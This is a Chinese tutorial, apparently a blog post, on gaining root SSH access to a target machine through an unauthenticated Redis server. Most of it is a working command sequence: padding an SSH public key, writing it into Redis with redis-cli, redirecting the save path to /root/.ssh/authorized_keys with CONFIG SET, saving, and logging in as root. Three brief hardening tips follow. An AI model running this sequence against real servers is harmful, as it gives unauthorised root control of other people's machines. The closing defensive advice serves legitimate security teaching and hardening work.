前置条件:

1、操作机已安装redis客户端:redis-cli

2、已使用ssh-keygen生成用于测试的ssh公钥|私钥(ssh-keygen -t rsa -C "test")

操作步骤:

1、将之前生成的公钥写入文件中cd ~/.ssh/

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> hack.txt

2、将hack.txt写入靶机Redis

Redis客户端连接Redis服务器的方法:

无密码连接方法:redis-cli -h [Redis服务器IP]

有密码连接方式:redis-cli -h [Redis服务器IP] –a [Redis连接密码]cat hack.txt | redis-cli -h 192.168.18.60 -x set crack

3、利用Redis客户端连接靶机Redisredis-cli -h 192.168.18.60

#查看靶机Redis备份路径

CONFIG GET dir

#修改靶机Redis备份路径

CONFIG SET dir /root/.ssh

#设置备份文件的名称为authorized_keys

CONFIG SET dbfilename authorized_keys

#检查是否更改成功

CONFIG GET dbfilename

#保存

save

4、测试ssh公钥是否写入成功ssh root@192.168.18.60

看下图成功通过redis实现免密ssh到靶机:

5a4c1d4f039cb3eab859ee5543d8e0dc.gif

至此通过redis获取靶机root用户SSH权限操作结束。

此漏洞防御方案如下:1、不要使用root用户运行redis服务

2、只允许本机访问Redis (在redis.conf配置文件设置bind配置项为:bind 127.0.0.1  )

3、增加Redis访问密码 (在redis.conf配置文件中找到requirepass 配置项,取消#注释符,在requirepass 后面添加需要设置的密码字符串)

×

选择打赏方式:

微信

QQ钱包

支付宝

打赏

打赏

打赏

多少都是心意!谢谢大家!!!

×

选择分享方式:

微信扫一扫,分享朋友圈

Or

手机扫一扫,精彩随身带

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐